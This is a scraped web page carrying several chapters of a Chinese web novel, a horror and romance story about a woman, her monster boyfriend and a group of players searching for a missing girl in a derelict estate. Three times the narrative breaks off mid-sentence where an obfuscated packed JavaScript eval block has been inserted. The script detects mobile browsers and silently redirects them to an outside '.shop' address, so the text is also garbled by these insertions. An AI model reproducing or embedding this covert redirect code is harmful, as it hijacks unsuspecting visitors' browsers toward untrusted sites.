;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005723|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胁,林莹脸色惨白地说:“可是,可是我已经和你……” 他不以为意地看了一眼垃圾桶,毫不在意地说道:“哦,你说那个啊,你随便搞个垃圾袋当膜补上不就行了?怎么,还要我帮你?” 陈野看完资料后怒道:“这妥妥的人渣吧!” 文雪看了他一眼,目光依然平静,“我们是在进行任务,你得学会控制自己的情绪。” * 这段畸形的关系持续了三年,直到林莹某天突然失踪。 所有人都觉得,林莹和她妈一样,再也忍受不了家暴的父亲和无耻的男友,所以选择和有钱男人跑了。 但文雪的资料里有一张隐秘的截图。 那是失踪前一周,林莹发的一条仅自己可见的日记。 “他今天想要一款新出的手机,但我这个月兼职的钱还没发。他把我拉黑了,我是不是真的很差劲……” 配图是她伤痕累累的手腕。 而这时,吴银家却意外得到了一大笔钱,望子成龙的父母立刻将他送入了久负盛名的星海学院。 * 晚上七点,星海听澜。 阮思甜洗完澡,护完肤后,就开始坐在客厅沙发等待。 她托着下巴想,会是什么礼物呢? 狗子占据了她舒适的人形狗窝,趴在那打瞌睡。 她看了狗子一眼,它发出的呼噜声有些喜感。 开门声一响起,她急忙起身,穿着拖鞋跑去迎接男友。 狗子的耳朵一抖,迷迷糊糊地睁开眼,然后跟着慢吞吞地走了过去。 一人一狗就这样去迎接男主人回家。 陆秋白的手中提着一大一小两个礼盒,把大的那个递给阮思甜后,又把小的递给了狗子。 她好奇地看了一眼,狗子也有礼物吗? 哈哈手口并用,飞快地拆完了礼盒。 阮思甜有些好奇地看着它。 哦,原来是一个尖叫鸡! 这,原来她的男朋友这么有幽默感的吗? 她记得臭狗小时候经常被这东西吓个半死,但又忍不住去咬,可以说是又菜又爱玩。 男朋友这是要让它重温童年了? 阮思甜抽了抽嘴角,有些无语地看了眼果然被再次吓到,一退一米远的狗。 “汪!汪!呜!嗷呜!!!” 陆秋白挑了挑眉,开始平静地换鞋。 看着他那张严肃到冷漠的脸,阮思甜实在无法想象,他内里竟也有这种小小的恶趣味! emmm,看着自己手中的礼盒,她期待的同时,又多了一份奇怪的感觉,于是又抬头看了男朋友一眼。 他今天穿了一身白色的春日套装,和游戏里小狗身上款式相同。 阮思甜心里甜甜的,觉得他也抽空查看了一眼游戏,并在游戏外做出回应。 “你穿这身真好看!”她抿了抿嘴角,忍不住夸了一句。 陆秋白看了她一眼。 女朋友今天穿了一身偏可爱款的睡意,上面有毛绒绒的兔子图案。 他“嗯”了一声。 墨菲斯在忙着准备晚餐,阮思甜拿着礼物盒子走到客厅,准备拆开看看。 盒子里是一条轻薄的白色吊带裙。 阮思甜拿起裙子,触感滑腻,入手一片冰凉。 款式简洁朴素,但布料薄的惊人,几乎半透明。 怎么想到送这个?这……这怎么穿? 她耳根有些发红。 梦中可怕的记忆突兀袭来,她穿着白色吊带裙,而那个人握住她的脚踝,要锁住她的脚…… 心跳莫名加快了一拍。 阮思甜偏过头看向陆秋白,对方的脸看起来一本正经。 客厅只开了一盏落地小灯,光线朦胧又昏暗。 昏暗的灯光中,他深不见底的眼睛在白裙上停留了片刻,又将目光缓缓滑到了她的身上。 从脸,到脖子,再到锁骨,再往下…… 他的视线带着灼热的温度,紧贴她白皙的皮肤,一寸一寸地丈量着她。 彷佛在用眼神为她一点一点换上。 18. 心跳百分百(十八) “睡裙吗?”她笑了笑,“我先收起来吧!” “奇怪,上面的logo怎么和游戏商城里的有点像?游戏里的也是仿的现实?” 说完也没多想,直接就往衣帽间走去。 陆秋白跟在她的身后,等进了房间后,很平静地开口说道:“换上看看。” 灯光是朦朦胧胧的暖黄色,看着十分温馨。 阮思甜站在一面与人等身的镜子前,镜面映出她微红的脸。 她手里正拿着那条白色吊带裙,闻言身体微僵。 带着些许不确定感,她回过头,看了自己男朋友一眼。 今天他穿了一身白色春装,此刻站在昏黄的光线里,看上去温柔了不少。 但是说出的话一点也不温柔! “我……”她张了张嘴,不知道该怎么说好。 陆秋白走近了一步。 他身上那股清冽的木香味飘过来,混着她身上散发的橙花味,气氛顿时变得有些微妙,透着股若有似无的暧昧。 阮思甜下意识后退一步,后背却贴上了冰凉的镜面。 他的手伸了过来,很自然地揽住了她的肩膀。 明明力道不重,却给她一种无法挣脱的感觉。 她被夹在冰凉的镜面与他之间,心头微慌,却并不反感。 随后,他的手指顺着肩膀下滑,搭在了睡衣的第一颗纽扣上。 她的脸腾的一下就红了。 都是成年人了,不是没想过会发生些什么。男朋友晚上回来,送她这种裙子,气氛又这样…… 但总有一种奇怪的感觉,好像和她想的那些不太一样,又说不出来。 “我,我自己来……”她的声音很轻,随后伸出手想去挡。 陆秋白看了她一眼。 那眼神太平静了,平静的有点吓人。 阮思甜的手僵在了半空,拒绝的话卡在喉咙里,怎么也说不出来。 她平时不是这样的,面对徐媛的阴阳怪气,面对别人的算计,她都能冷静地反击。 可现在,在男朋友平静深沉的目光里,她觉得自己整个人软的不成样子。 像是下一秒就要化开了一样。 * 陆秋白今天在外面吃过了,食物是旧城区附近游荡的低等怪物。 虽然能充饥,但它们外形丑陋恶心,口感也很差,还透着一股恶心的味道,可以说很倒胃口。 他并不吃人类。 因为在他的认知里,这种生物不但毫无营养,还十分污浊,远远散发着一股令人厌恶的气息。 而眼前这个人类是不一样的。 她香香甜甜的。 沐浴后的身体散发着一种清新的香味,身体里汩汩流动的血液带着生命的热度。 他很想一口吃掉,将他与她彻底融为一体。 这个念头不止一次冒了出来。 但是理智告诉他,吃掉就没有了。 远不如像现在这样,把她养在家里,偶尔逗弄一下,当成饭后小甜点。 是的,逗弄。 这个词饱含着人性。 作为高维的存在,他本来没有任何羞耻心,占有欲或者人类那些低级又复杂的情绪。 但在那个奇妙的手机游戏里,在扮演她的小狗的时候,他好像变成了另一个人,竟体会到了人类的七情六欲。 他会因为她看别的低等生物而生气,会因为她送的礼物而喜悦,会因为被她调戏而生气。 尽管这些情绪一离开游戏,就消失的无影无踪。 可他还是觉得十分奇妙。 后来,不知道为什么,那些奇妙的感觉有一部分滞留在了游戏之外。 比如说现在,他破天荒产生了逗弄她的念头,想要“报复”回来。 看着她红红的脸,看着她想躲又不敢躲的样子,心中莫名愉悦。 谁让她白天非要买那种玩意,还强迫他换上。 想到这里,陆秋白的嘴角勾起了一点弧度。 很浅很浅,一闪而逝。 这一瞬间的他,和真实的人类极为接近。 一个坏心眼地耍弄自己的爱人,享受她害羞反应的人类。 却又有点说不出的违和感,莫名诡异。 * 他低下头,开始解她的睡衣扣子。 一颗,两颗,三颗…… 阮思甜浑身僵硬,一动不敢动。 她能感受到他手指的温度,冷冰冰的,擦过她的锁骨时,令人微微战栗。 还好她穿了内衣。 这个念头冒出来时,她自己都觉得有点可笑。 都这种时候了,还在意这个? 睡衣从肩头滑落,堆在了脚边。 空气有点凉,她裸露在外的肌肤起了一层细小的鸡皮疙瘩。 陆秋白的目光落在她身上,像是在观察探究什么。 随后他的手搭在了她的腰间。 她终于鼓起勇气按住他的手,拒绝道:“这个……我自己来。” 他没再坚持。 阮思甜背过身。 毛绒绒的小兔子滑落。 随后,她将睡衣和睡裤胡乱地扔在了一边。 镜子里映出她雪白的皮肤,微微颤抖的肩膀,还有那纤细的腰。 陆秋白看了一会,拿起了那条白色吊带裙。 阮思甜能感受到,他微凉的体温正透过皮肤传来。 那一双清瘦却有力的手臂环绕过她,把裙子举到她面前。 “抬手。”他开口。 语气温和,却带着一种难以言说的强势。 阮思甜乖乖地抬起了手。 裙子从头顶慢慢套了下来,光滑的布料滑过皮肤,有丝丝凉意。 男朋友的手跟着布料一起往下,最后又帮她拢了拢头发,整理肩带。 他的指尖时不时擦到她的皮肤。 每一次触碰,都让人心里一颤。 太近太近了。 他的呼吸就在她的耳后,他身上的味道将她整个人包裹住。 随后,她闻到了自己身上的味道。 两种味道混合在一起,她的心怦怦直跳。 * 陆秋白本来没觉得这有什么。 漫长的生命里,他见过太多生物脱皮,或者更换形态。 人类换衣服的行为,不过是另一种形式的表皮更换。 但是好像有哪里不一样了。 在街上的时候,他看到人类小孩拿着洋娃娃,在那里玩过家家游戏。 那孩子给娃娃布置房间,给娃娃换装,还给娃娃喂饭。 而现在,作为一个超越人类的存在,他在一所人类居住的房子里,饲养了一只很对他胃口的人类。 只属于他的人类。 那个人类称呼他为男朋友。 于是男朋友像孩子给娃娃换装一样,给自己的女朋友换上了可爱的小裙子。 陆秋白抚了抚裙子上的褶皱。 怀中人类的体温在升高,白皙的皮肤透出淡淡的粉色。 她的呼吸也开始变得急促,温热的气息拂过他微凉的手腕。 那股气息中带着橙花香,原本淡淡的,现在却一下子浓郁了起来,甚至混入了一些别的什么。 紧张,羞耻,还有某种隐秘的依恋。 这些情绪随着温暖的香气钻进他的皮肤,渗入他的血肉,沿着四肢百骸的血液奔流。 女朋友轻轻地抓住了他的手,羞涩而亲昵地叫着他的名字,“阿白!” 她的声音也是甜甜的。 陆秋白的眼神有片刻迷茫,一种陌生的感觉从心中升起。 不是对猎物的渴望,也不是饥饿,而是另一种更复杂,更细微的东西。 像一根羽毛一样,轻轻地在他心口挠了挠。 怪物早已死去的心重重地跳动了一下。 在这一刻,这个人类完全属于他。 在他的目光里颤抖,在他的触碰下羞涩,连呼吸的节奏都被他掌控。 而她羞涩外表下暗暗的期待彻底俘获了他。 最终令他心中某个隐秘的部分,也开始被她一点一点地掌控。 * 裙子换好了。 阮思甜站在镜子前,看着里面的自己。 白色的裙子勾勒出美妙的曲线,肩上凉凉的,锁骨全露了出来,再往下…… 她不敢再往下看。 男朋友就站在她的身后,一只手还搭在她的腰上。 镜子里,他的下巴轻轻地抵在她的头顶,两人的身影几乎重叠在一起。 她以为他会做点什么,看向他时眼眸中有隐隐的水光。 但陆秋白只是垂下眼,打量了她一会,然后松开了手。 阮思甜一愣。 他转身走到衣柜前,从里面拿出一件他自己的黑色外套,披在了她的肩上。 “穿上。”他说。 阮思甜呆呆地照做。 她该出去吃晚饭了。 他虽然不是人类,却并不想女朋友被其他人看到。 仿生人也不行。 随后,他无意间瞥了一眼堆满珠宝的梳妆台,很自然地从一个匣子里拿起一个小动物发夹,轻轻给她戴上。 阮思甜一愣。 陆秋白看着自己的手,也愣住了。 随后,他摸了摸她的脸,放低了声音,“过几天带你去星海乐园玩。” 到时候会有一场好戏!当然,这话他没说。 陆秋白忽然起了好奇心,他很想知道,当女朋友看到一些不一样的事,又会产生什么情绪?是不是更美味了? “好。”她小小声地应道,而后飞快地在他侧脸上亲了一口。 * 当有人在你侬我侬时,也有人在积极营业。 比如说某位非常勤奋的主播。 吴银把一张照片发了出去。 那是他白天在星海学院门口拍的,照片里的他活力满满,看上去就像个大学生。 照片发出去后,他等了一会。 对方没有立刻回。 吴银也不急,退出聊天界面后,他点开了自己的直播平台后台。 这个月流水还不错,榜上的富婆们出手挺大方,打赏加起来接近五万。 可以买一件奢侈品了。 其实他的歌唱的一般,但清纯男大学生的人设为他圈了一波粉。 私下,只要出得起足够的价格,吴银也不介意和她们发生点什么。 但还不够。 他要的不仅仅是钱,更是身份。 那种不管走到哪里,都会被人高看一眼的身份。 就像阮思甜一样,明明什么都不用做,就会有人把一切捧到她的面前。 凭什么? 凭那个坏胚看着温柔无害,却一肚子坏水吗? 吴银心中闪过恨意,想刀一个人的心怎么也止不住。 一个模糊的场景忽然飞快在他眼前闪过。 在一栋豪华的别墅中,挂着一对中年夫妻血淋淋的尸体。 而有个戴动物发夹的少女却背着书包,一脸笑容地和一个少年告别,随后推开了家门…… 手机震了一下,将他拉回了现实。 刚刚怎么回事?出现幻觉了? Y小姐回消息了,“看着真帅气呢!” 哪怕人不在眼前,吴银还是换上了职业性假笑,“那我这么帅气,Y小姐喜不喜欢呢?” 这位小姐是他不久前在一个小游戏里匹配到的,测试后发现两人心跳同步值高达99%,据说这是灵魂伴侣才会有的数据。 哈?灵魂伴侣? 吴银才不信这个。他只信真金白银。 但Y小姐是个实打实的富婆,会在他直播间一掷千金那种,是他当之无愧的榜一。 Y小姐别说想当灵魂伴侣,想当他爹都行! 而且她很懂他,知道他喜欢什么牌子的东西,爱听什么歌。 甚至连他小时候想当明星的事都能猜出来,每回聊天总能说到他心坎上。 吴银生出要抓住这个富婆的念头。 他旁敲侧击打听过Y小姐的情况,对方说自己除了钱多再没有什么了,平时闲得发慌,就喜欢看直播。 不露脸的照片对方也发过几张,比如说纤细的手腕,白皙的小腿,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012858|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一张站在一栋大楼前的背影照。 给人的感觉挺清纯的,是他喜欢的类型。 所以他最近很卖力地巴结她,直播时特意为她弹吉他,唱她喜欢的情歌,私底下还会发一些私密照。 想必Y小姐一定会被撩得脸红心跳吧! 和富婆聊够了后,他想起要出门采购一些生活物品。 走在街上时,吴银忽然被一行人拦了下来。 “午夜都市?采访?”他的脸上露出怀疑之色。 文雪掏出了工作证件还有节目备案。 作为一位老玩家,她有足够的积分可以兑换身份道具,并不会有什么纰漏。 吴银上网查了查,发现的确有这么个节目,人员也对得上。 他暂时放下了戒备心,开始思考起这件事能带给他的好处。 只要节目能播出去,他的粉丝量肯定能涨一波! 想到未来的前景,他的目光中露出些许狂热,又很快地掩盖了。 于是在镜头前,他开始认认真真地扮演起一个新时代青年该有的样子。 “对了,我有一个恋爱对象叫Y小姐,我们打算不久后在星光游乐场面基,你们可以记录我们的约会过程……” 看着他侃侃而谈的样子,陈野眼中露出一抹讥讽的笑容。 这种人虚荣,贪婪,又自以为是,还毫无良心,只要给他一点甜头,他自己就会往陷阱里挑。 和吴银分别后,颜乐小声问道:“雪姐,那个Y小姐……” 文雪点了点头,“很有可能是林莹回来了,但也不排除其他可能。” 天暗下来的时候,街上的灯一盏一盏亮起,恋爱游戏的广告牌到处都是。 “心跳吧,恋爱吧,在这美妙的季节……” 看着广告上那一张张散发着甜蜜笑容的假脸,赵杰越看越不爽。 “妈的,这些狗东西在这开开心心谈恋爱,我们却拼死拼活的,指不定哪天就被诡异杀了!” 文雪道:“没办法的事,想开些就好。” * 晚上六点。 文雪等人打算回房间继续查看资料。 “雪姐,我打算和江敛出去喝个酒,先离开一会,哈哈哈……”陈野爽朗地说道。 说完后,他一把揽过江敛的肩往外走。 江敛愣了一下,却没有拒绝。 赵杰目瞪口呆,文雪点了点头,说道:“早点回来!” 陈野:“哎,知道了!谢谢雪姐关心!” 文雪看着他们离去的背影,眼中浮现出一丝怀疑,又很快压下。 【这两个玩意怎么回事?在副本里喝酒?】 【没救了!】 走出门后,两人在街上又往前走了一小段距离。 直到确定远离酒店,陈野才打了个车。 “师傅,去老城区!” “神经病,谁要去那种地方?!” 出租车司机扬长而去。 两人吸了一鼻子尾气后,陈野摸了摸鼻子,随后预定了一辆无人驾驶汽车。 “为什么要去那里?” “找点线索,”陈野说,“白天不方便,晚上正好。” 【这黄毛要干什么?怎么感觉在作死?】 【应该不是,这小哥感觉挺有心机的,说不定人家发现什么线索了。】 穿过纵横交错的高架桥后,车子越开越偏,最终来到了一片废弃的小区。 周围到处都是垃圾场,塑料袋、食物残渣、假人模特的残肢等被丢得到处都是,空气里散发着一阵阵腐臭味。 江敛捂住了鼻子,陈野却毫无反应,下了车后,拉着江敛径直往里走去。 江敛不解道:“这里有什么线索吗?” 陈野回道:“我查了当年的事,有个网友说自己曾在一场网络探险直播里,看到过疑似林莹的人。” “他们最后出现的地点,就是这个小区。” 江敛抬起头。 眼前是一片废弃的居民楼。 斑驳的墙壁,刺眼的暗红色,锈蚀的铁门,这地方怎么看怎么阴森。 最要命的是,空气里隐隐有微弱的哭声传来。 江敛拉了拉陈野的手,“好像有人在哭。” 陈野:“不会吧,我怎么没听到?” 说完后像是想到了什么,“你再仔细感受一下。” 江敛弱弱道:“要不,要不我们还是明天白天再来?” 陈野:“白天哪有机会脱离老玩家的视线?而且资料显示白天这里只是个普通的废弃小区,看不出任何异常。” 【这两人怎么回事?是我漏看什么剧情了吗?】 【先看看,我也没整明白。】 突然,哭声停止了。 前方昏暗处,有个人一动不动地站在铁门内。 江敛松了一口气,走上前,“你好,请问……” !!! 不对,怎么没有头!!1 他顿时被吓了一大跳,差点尖叫出声。 陈野拍了拍他的肩,“假人模特而已,有什么好怕的!不知道哪个缺德玩意放这吓人的!。” 江敛仔细看,发现果然是个假人。 他长舒一口气。 陈野道:“当时直播到一半突然中断,之后她就再没有出现过。” 江敛浑身发凉,“她死在了这里?” 陈野看了他一眼,“想知道她是不是死在这里,就得看你了!” 江敛反应过来陈野的意思,深吸一口气。 他们正要推开铁门,们却“吱呀”一声自己开了。 两人面面相觑。 江敛犹豫道:“还要进去吗?” 寒凉的夜风吹过,树影婆娑。 难道门是被风吹开的? 陈野也有些纠结,半晌后他咬了咬牙,从包里掏出一根电击棍递给江敛,自己手上也拿了一根,“来都来了!进!” 说完摊开手中的地图,又看了一眼。 随后抢先一步,进入了门内。 江敛深吸一口气,也跟了上去。 在他们走后不久,铁门又悄无声息地关上了。 19. 心跳百分百(十九) 小区里很暗,江敛和陈野打着手电,缓缓道往前走。 楼和楼之间挨得实在太近了,江敛这辈子住过最挤的城中村,楼间好歹还能过个小毛驴。 这里却是一栋挨着一栋,有些窗户几乎怼在了一起,伸手就能碰到对面。 空气中透着股霉味,很污浊,还很冷。 像是有什么东西在楼里烂透了飘出来,还烂了很久那种。 到最后,甚至给人感觉这味道不是从某个地方飘出的,而是整片建筑散发的。 它们在慢慢死亡,腐烂。 没有虫鸣,没有猫叫,这里静悄悄的,只有他们轻微的脚步声。 陈野打开手机,翻到了一张模糊的截图。 那是从某个早已被封的探险直播录像里截图的。 “她最后消失的地方,应该就在这附近。”他压低了声音,“但这些老式楼房不太好分辨。” 说完还用手电筒的光扫过一栋又一栋的建筑。 弹幕飘过: 【这黄毛哪来的情报?文雪都不知道吧?】 【背着老玩家自己行动?心眼挺多啊!】 【雪姐人一直不错,从来不坑新人,这黄毛为啥一开始就对她很戒备?】 【先看看呗!】 陈野无奈道:“只能一栋栋找了。” 他们走进最近的一栋楼。 楼梯很窄,一次只能一人通过,旁边连个栏杆都没有。 楼道间的阳台空荡荡的,没有任何遮挡,低头就能看见楼下的杂草。 墙壁被照亮了,墙上有很多抽象的涂鸦。 还有些像符咒一样的图案,看着阴森森的。 前面的门开着,他们小心翼翼地推开。 房间里很空,只有几件破烂的家具,除此以外什么也没有。 一连搜了很多间,都是如此。 走到四楼时,陈野忽然问道:“有感觉到什么吗?” 江敛摇头,他只觉得冷,后背发毛,但没那种特殊的感应。 正要离开,手电光扫过最里侧的房间,江脸忽地被吓了一跳。 又一个男性假人模特站在那里。 他穿着黑色的西装,看着还真像那么一回事! 假人脸上的五官早已褪色,一双空洞的眼睛却径直地看着他们。 “有病吧!!”陈野骂了一声,“假人到处乱放!” 说完上前一脚将假人踹倒,动作十分凶狠。 随后,他拉着江敛快步下楼。 两人的脚步声在寂静的夜色中回荡。 下一栋楼味道更重。 那味道直直地扑面而来,简直快要糊住他们的鼻子。 两人强忍着恶心往前走,走到三楼时,那味道简直可以说浓重至极! 推门而入,客厅中挂着一幅落了灰的全家福,照片里的一家三口笑得非常幸福。 再往前走,有一扇门虚掩着。 陈野用手电筒一扫,猝不及防看到了一只腐烂的小手! 那手静静地浸泡在淌了一地的尸水中,越看越吓人。 江敛胃部一阵翻涌,开始不停干呕,呕得眼泪都要出来了。 陈野颇为同情地拍了拍他的背,用关切的语气说道:“多吐点,吐习惯了就好了。” 闻言江敛吐得更厉害了! 这说的是人话??? 弹幕炸了: 【卧槽这画面感!】 【这俩新人是真勇啊,啥道具都没有,就敢这样在副本里乱冲!】 【完了,这下要白给了。】 陈野快速扫视了一眼,随即带上门,拉着好不容易不吐了的江敛往下走。 “这里没东西。” 江敛捂着嘴,眼眶通红。 那股味道好像粘在了他的衣服上,怎么也甩不掉了。 他们刚走出这栋楼,隐约的哭声飘了过来。 很轻,断断续续,好像真有个女孩在哭,声音还十分压抑。 江敛停下脚步。 “有感应了?”陈野看他。 江敛点头,指了指哭声传来的方向,那是更深处的另一栋楼。 他朝那边走去,脚步有些飘,陈野跟在后面。 走着走着,江敛感觉自己忽然变得轻飘飘的。 他的脚步好像踩在了另一个人的脚步上,而他的身影也正与另一个人的身影重叠。 “江敛?”陈野的声音从后面传来,“江敛你慢点!” 江敛却好像听不到了,陈野只得加快脚步追赶。 【这小子不对劲啊】 【怎么看着有点像那啥,c级本应该不会有……吧?我记得得b级往上。】 【楼上的在说什么?】 【完了完了,要出事!】 耳边的哭声渐渐微弱下去,另一道说话声却清晰地响起。 “林莹,别磨蹭了,快点!” “阿银,我,我们能不能离开这?我不想去了!” “说什么呢你!如果能到楼顶拍到那个传说中的可疑黑影,大哥说了直接给我们刷十个嘉年华!” 春夜的冷风刮过脖颈,她缩了缩肩膀。 手机里的屏幕亮着,直播间里不停有人刷礼物,催促他们继续下去。 为什么后背凉飕飕的? 她猛然回头,只看到边上胡乱扔着的假人。 这时候,江敛已经分不清,自己到底是他,还是她了? 在那一刻,他真的感觉自己成了林莹。 他们没回去。 他们又往前走了一段距离,最终停在一栋格外阴森的楼房前。 墙上用鲜红的漆刷着“私人重地,请勿入内!” 吴银嗤笑一声,“私人重地,我还死人呢!就这么个废弃点,唬谁呢!” 那股被盯着的感觉又来了,林莹僵硬地转过头。 斜对面二楼的窗户里,一个假人静静地立在窗前,它穿着一身黑色的西装。 阴风刮过,卷起地上的塑料袋,哗啦作响。 林莹迈开脚步,走进了楼里。 一楼的声控灯坏了,只能靠手电筒的光照明。 楼梯那么窄,甚至有点陡,好像一不小心,人就会掉下去。 墙上有乱七八糟的涂鸦和污渍,看着很糟心。 林莹走得很慢。 又一阵冷气吹在后脖颈。 她打了个寒颤,小声质问道:“阿银?你在干什么?别吓我!” 没人回答。 只有她自己的脚步声在回荡。 这时候,林莹才意识到,从刚才开始,楼梯间内就只有她一人的脚步声。 她猛地回头,手电筒的光瞬间照亮一张惨白的塑料脸。 那个穿西装的假人,就贴在她身后不到十厘米的地方。 它空洞洞的眼睛盯着她,嘴角的笑在昏暗的光线里扭曲。 “啊!!!” 林莹尖叫出声。 “江敛!醒醒!”陈野大吼一声,然后用电击棍狠狠地戳在了假人身上。 假人的塑料脸慢慢转向陈野,阴森森地盯着他。 江敛半是清醒半是恍惚,转身就往楼上跑。 他呼吸急促,脚步踉跄,跟随着林莹的脚步。 楼梯一层层向上。 身后的假人开始移动,它没有可以弯曲的关节,而是以一种诡异的小踏步快速追上来。 塑料的脚踩在水泥地上,发出“嗒、嗒、嗒”的响声。 【啊啊啊怎么这样!!!】 【快跑啊!!!】 【黄毛的电击棍没用!】 【废话,你去电一个试试!】 江敛冲开顶楼那扇门。 顶楼空旷,夜风呼啸而来。 假人追了出来,不停逼近。 江敛背靠护栏,浑身发抖。 恍惚间,那断断续续的哭声彻底消失了,取而代之的,是一道清晰的笑声,充满了恶意。 “嘻嘻……” 他眼前闪过这样一幅画面: 一个女孩被假人追逐,慌不择路下从楼顶失足坠落。 那具青春曼妙的身体砸在楼下水泥地上,发出沉闷的响声。 一切并没有结束。 越来越多穿着黑色西装的假人从阴影里走出,围拢过去,抓住她的手脚,拖向小区更深处。 地面留下了一道长长的血迹,格外刺目。 “江敛!”陈野一把将他从楼顶边缘拉了回来,又重重地拍了拍他的背,“清醒点!看着我!” 江敛猛地回神,对上陈野快要发疯的脸。那张总是吊儿郎当的脸上,此刻全是狠劲。 “跟我走!”陈野拽着他往另一边冲去。 江敛脑子里一片空白,本能地跟着他跑。 生死关头,他忽然产生了这么个念头:原来,像他这样的人,也是有人愿意伸手拉一把的! 楼与楼间距近得可怕。 陈野没有丝毫犹豫,纵身一跃,江敛也跟着跳了过去。 他们落在了对面的楼顶上。 江敛的腿有些疼,还有些发麻,很快他被陈野一把拉起。 回头,那假人站在对面的楼顶边缘,用一种渗人的目光看着他们。 随后,它也一下跳了过来。 “跑!”陈野吼。 两人在楼顶狂奔。这些旧楼的顶层大多相连,有的甚至搭着木板。 陈野像早就记熟了路线,在杂物间灵活穿梭,江敛拼命跟上,肺里火辣辣地疼。 假人在身后紧追不舍,“嗒、嗒、嗒”的脚步声一直未停。 前方出现一栋稍矮的楼,楼顶有扇小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015931|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门。 陈野冲过去,用力拧把手。 门锁死了。 “操!”他骂了一声,视线快速扫过四周,随即锁定楼顶角落,“那边!” 两人顺着外置的铁制楼梯一路往下,最终成功地跑到了楼下。 入口处的铁门被锁死了,无法出去,身后出现越来越多的假人。 那些假人的脚步声整齐划一,在夜色中重叠,发出清晰的回响。 “嗒、嗒、嗒……” 危急关头,陈野想到之前无意间瞥到的一个巨大狗洞。 那个洞挖得挺大,可以供一只大型犬出没,成人也勉强可以挤出去。 等江敛从洞中离开后,陈野快速地钻了进去。 结果一只僵硬的手猛地抓住了他的脚,陈野想也不想地往后死命一踹,直接把对方踹倒。 就在他以为自己得以成功逃脱时,屁股上忽然传来一阵剧痛。 江敛在外面一把拉住他,陈野“嗖”的一下钻了出去,然后发出一声非常夸张的叫声,“啊,老子的屁股!!!这下清白不保了!!!” 江敛一脸惊魂未定地看着洞口,假人没有追出来。 虽然身体从小区离开了,但他总觉得有部分意识滞留在了某处。 那声充满恶意的笑声又一次浮现,之前被中断的画面继续了下去。 少女的尸体被拖走,拖入了那一栋标记着私人重地的楼中。 一道暗门被打开,往下,再往下…… 时空彷佛被拉长,变形,曲曲折折,快速突进,江敛感到一阵剧烈的恶心。 眼前的场景一下缩小,一下放大,像是刚钻入了一间狭窄的诡异神龛,又通过神龛步入了另一个更诡异的世界…… 最后,画面停在了一片昏暗中。 深不见底的地下,眼前出现了一道巨大的铁门。 门上鲜红地写着五个大字,暗红色的,尖锐的边缘像是不停往下淌血。 第四实验场! * 阮思甜悠闲地躺在床上刷手机追剧。 此刻《霸总的契约娇妻》正好进行到高潮部分,女主发现霸总有个白月光,而她不过是替身,怒而出走,却误入一个废弃的小区。 之前还是狗血剧来着?怎么一下子画风突变? 要来波大的? 不过她还是看得津津有味。 陆秋白洗漱完出来,很自然地钻进被子,问道:“在看什么?” “就之前那部剧。”她随口说道,“要一起看吗?” 她以为男朋友会拒绝,毕竟陆秋白平时连电视都很少开,更别说这种狗血偶像剧。 没想到陆秋白点了点头,“好。” 阮思甜愣了一下,随即笑起来。 他凑近了一点。 她没投屏,手机也没开外放,而是分了一只耳机给他。 陆秋白接过,戴好,又从女朋友手中拿过手机。 然后他伸出手臂,很自然地将阮思甜揽进怀里,让她枕着自己的胳膊。 两人就这样依偎着,一起看着屏幕。 女主在废弃小区里迷路了。 天色渐暗,她手机没电,四周传来奇怪的声响,那音乐听得人开始紧张。 阮思甜看得投入,下意识往陆秋白怀里缩了缩。 陆秋白低头看她一眼,手臂收得更紧些。 终于,危急关头,霸总带人闯入小区,强势救妻。 一场混战后,还意外发现这个废弃小区里藏着一个犯罪团伙! 阮思甜看得目瞪口呆。 这剧是要半路转型了?这转得也太…… 半小时后,这一集结束了。 她摸了摸鼻子。 片尾还有个彩蛋。 男主带着女主离开了,视角却依然停留在废弃小区。 夜色中,忽然出现一道白影。 她抬起头,视线越过镜头,望向远处某个方向。 难道是某个反派?怎么搞的这么阴森? 阮思甜感觉有些不对劲。 她皱起眉,一把摘下耳机:“什么啊!恋爱剧搞这种彩蛋,太可恶了!” 陆秋白很认真地点头,附和道:“嗯,很可恶。” 他语气太正经,阮思甜没忍住,“噗嗤”笑出声。 随后,她整个人扑进他怀里,将脸埋在他胸口闷笑。 笑完了,脑子里忽然闪过一个念头。 电视剧里那个废弃小区,好像看着有点眼熟。 她想了几秒,困意上涌,正打算躺回去。 陆秋白却轻轻拍了拍她的背,然后搂紧了她,于是阮思甜不再思考,就这样枕着他的胳膊睡着了。 他看了一眼已经黑掉的手机屏幕,意识到了那道白影最后的视线所及之处。 星光游乐场! 20. 心跳百分百(二十) 将近午夜,陈野和江敛浑身酒气地回到了酒店。 “好、好兄弟,下次继续不醉不归!” “好、好的。” 